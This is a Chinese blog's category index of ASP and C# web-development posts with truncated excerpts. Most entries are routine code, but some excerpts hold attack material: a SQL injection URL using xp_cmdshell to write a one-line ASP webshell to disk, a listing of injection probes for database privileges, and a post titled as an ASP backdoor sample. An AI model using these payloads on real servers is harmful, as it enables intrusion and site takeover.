文章分类 -  asp技术专区

1 2 下一页
C# 跟进文件流分析文件后缀
摘要:using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; using Syste 阅读全文
posted @ 2020-03-17 17:34 西湖浪子 阅读(494) 评论(0) 推荐(0)
asp网站后门样本
摘要:这一句话可以让菜刀舞的很好。 阅读全文
posted @ 2013-08-18 11:27 西湖浪子 阅读(243) 评论(0) 推荐(0)
HttpServer.DLL
摘要:http://www.codeproject.com/Articles/20445/C-Customizable-Embedded-HTTPServerHttpServer.DLL Gauffin Telecom AB 阅读全文
posted @ 2013-06-09 10:15 西湖浪子 阅读(289) 评论(0) 推荐(0)
工具介绍
摘要:RSS.NET.dllRSS.NET是一款操作RSS feeds的开源.NET类库。它为解析和编写RSS feeds提供了一个可重用的对象模型。它完全兼容RSS 0.90, 0.91, 0.92, 和 2.0.1等版本。AspNetPager.dll我使用过的分页控件中,最好用的一个。官方地址:http://www.webdiyer.com/AspNetPager/default.aspxAspose.Words.dllAspose.Words是一个无图形用户界面的.NETWord文档的报告控件,它可使.NET的应用在没有安装Microsoft Words的情况下读写Word文档。Aspose 阅读全文
posted @ 2013-06-09 10:02 西湖浪子 阅读(141) 评论(0) 推荐(0)
自动调整IFRAME高度
摘要:function iframeAutoFit(iframeObj){ setTimeout(function(){if(!iframeObj) return;iframeObj.height=(iframeObj.Document?iframeObj.Document.body.scrollHeight:iframeObj.contentDocument.body.offsetHeight);},200) } 阅读全文
posted @ 2012-12-26 10:51 西湖浪子 阅读(143) 评论(0) 推荐(0)
将html转换为php,javascript和asp的在线工具
摘要:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb23 阅读全文
posted @ 2012-08-01 14:39 西湖浪子 阅读(1609) 评论(0) 推荐(0)
计划任务的编成实现
摘要:在一些需要定时执行的任务时,比如:定时备份数据库,定时的获取网络数据等都需要计划任务。Window也有计划任务但是有很多的缺点,必须手动配置,而且部署起来也很麻烦,时间的精度为一分钟,只能对应用程序配置任务。这里实现的任务计划是可以自己编程,可以很灵活,时间的精度为一秒,而且不是通过轮询时间实现的,效率比较高,。你可以在Windows 服务中写一个服务,用它来管理所有的计划任务逻辑。 类库源代码如下: /**//******************************************************************************************** 阅读全文
posted @ 2012-04-24 16:05 西湖浪子 阅读(373) 评论(0) 推荐(0)
动态拉去的数据
摘要:动态拉去的数据:<ul><li><a href="/info/4377_0.html" target="_blank" tabIndex="-1"><font color="red">教您识别常见网络骗术</font></a></li><li><a href="#" onclick="pgvSendClick({hottag:'KF.SERVICE.INDEX.ANNOUNCE 阅读全文
posted @ 2011-08-13 14:55 西湖浪子 阅读(189) 评论(0) 推荐(0)
网页定时信息提醒
摘要:<div id="popup" style="display:none" class="pay_attention layoutfix"><a href="javascript:void(0);" onclick="this.parentNode.style.display='none';" title="关闭" class="close_attention"></a><div class=&quo 阅读全文
posted @ 2011-08-05 10:08 西湖浪子 阅读(225) 评论(0) 推荐(0)
c#实现动态创建二级域名,比如当用户注册成功后就会给他一个网址http://name.site.com,博客网站上都有这种功能.
摘要:第一步:把域名设置成泛解析. 就是把*.域名 解析到你的主机,是否支持泛解析,请查看你的域名商说明. 第二步:IIS设成的时候不要绑定域名.注意一台服务器里只能有一个站点不绑定域名 就是*.域名的默认访问页. 第三步:默认页里加入以下代码:关键部分如下: string sURL=context.Request.ServerVariables[ "HTTP_HOST "].ToLower(); sURL就是获取的域名部分 . xxx.域名 对应的xxx就是用户名.然后查库里的记录,如xxx对应的是www.csd.net那就就把 它转向到www.csdn.net 或者写一个框架 阅读全文
posted @ 2011-04-14 16:20 西湖浪子 阅读(604) 评论(0) 推荐(0)
sql 还能这样写
摘要:with o as (select orderid,ISNULL(UTaxRate,0) AS UTaxRatefrom [order] (nolock)where sourceid not in (21,22)), l as (select o.orderid,oit.orderlineitemid,cast(o.UTaxRate as decimal(10,8)) as UTaxRate,cast(ISNULL(oit.TaxRate,0) as decimal(10,8)) as LineRatefrom ojoin dbo.Order_Line_Item oi (nolock)on o 阅读全文
posted @ 2011-02-17 11:04 西湖浪子 阅读(138) 评论(0) 推荐(0)
RSA Encryption in C#
摘要:What is Encryption?Encryption is the process of converting a string of characters into another such that the original characters cannot be deciphered upon examination. This process is performed with t... 阅读全文
posted @ 2010-05-07 16:09 西湖浪子 阅读(501) 评论(0) 推荐(0)
Html在线编辑器
摘要:Html在线编辑器--即所见即所得的可视化编辑器,现列出如下几款: =================================================== ①Text Editor-- 用flash作的,比較特別 ②TinyMCE -- 免費的編輯器,支援多種瀏覽器 ③FCKeditor-- 免費的編輯器,支援多種瀏覽器 URL:[http:/... 阅读全文
posted @ 2010-04-12 10:25 西湖浪子 阅读(194) 评论(0) 推荐(0)
防注入脚本
摘要:<% Dim Fy_Url,Fy_a,Fy_x,Fy_Cs(),Fy_Ts,Fy_Zx '---Defind the error handling method------ Fy_Zx = "index.Asp" 'Forward URL '---end header------ On Error Resume Next Fy_Url=Request.ServerVariables("QUE... 阅读全文
posted @ 2010-04-11 19:11 西湖浪子 阅读(150) 评论(0) 推荐(0)
常用注入 写程序需要注意的
摘要:1、用^转义字符来写ASP(一句话木马)文件的方法:?http://192.168.1.5/display.asp?keyno=1881;execmaster.dbo.xp_cmdshell'echo^<scriptlanguage=VBScriptrunat=server^>executerequest^("l"^)^</script^>>c:\mu.asp';--... 阅读全文
posted @ 2010-04-11 18:17 西湖浪子 阅读(309) 评论(0) 推荐(0)
一些注入命令
摘要:我记性不好,所以把常用的注入代码记录下来,有点乱,但对我来说,还算很有用,希望大家也会喜欢!//看看是什么权限的and1=(SelectIS_MEMBER('db_owner'))Andchar(124)%2BCast(IS_MEMBER('db_owner')asvarchar(1))%2Bchar(124)=1;--//检测是否有读取某数据库的权限and1=(SelectHAS_DBACCES... 阅读全文
posted @ 2010-04-11 18:12 西湖浪子 阅读(160) 评论(0) 推荐(0)
世界时钟
摘要:<html><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><style> <!--@import url(css-cn.css);--></style><title>世界时钟</title></h... 阅读全文
posted @ 2010-04-07 10:09 西湖浪子 阅读(270) 评论(0) 推荐(0)
StringBuilder Javascript
摘要:function StringBuilder(value){this.strings = new Array("");this.append(value);}StringBuilder.prototype.append = function (value){if (value)this.strings.push(value);}StringBuilder.prototype.clear = fun... 阅读全文
posted @ 2009-11-15 21:47 西湖浪子 阅读(129) 评论(0) 推荐(0)
ajax方法
摘要:var serviceUrl = "/UserAction.aspx"function GetCookie (name){ var arg = name + "="; var alen = arg.length; var clen = document.cookie.length; var i = 0; while (i < clen) { var j = i + alen; if (doc... 阅读全文
posted @ 2009-11-15 21:42 西湖浪子 阅读(177) 评论(0) 推荐(0)
asp下载文件代码
摘要:<%Response.Buffer=true取得要下载的文件,如果不为空。就下载dim url,trueurlurl="下载文件路径和下载文件名" fname=Request("filename") if fname<>"" then trueurlurl=server.MapPath("/") &url end if set objFso=server.CreateOb... 阅读全文
posted @ 2009-08-29 10:47 西湖浪子 阅读(647) 评论(0) 推荐(0)

1 2 下一页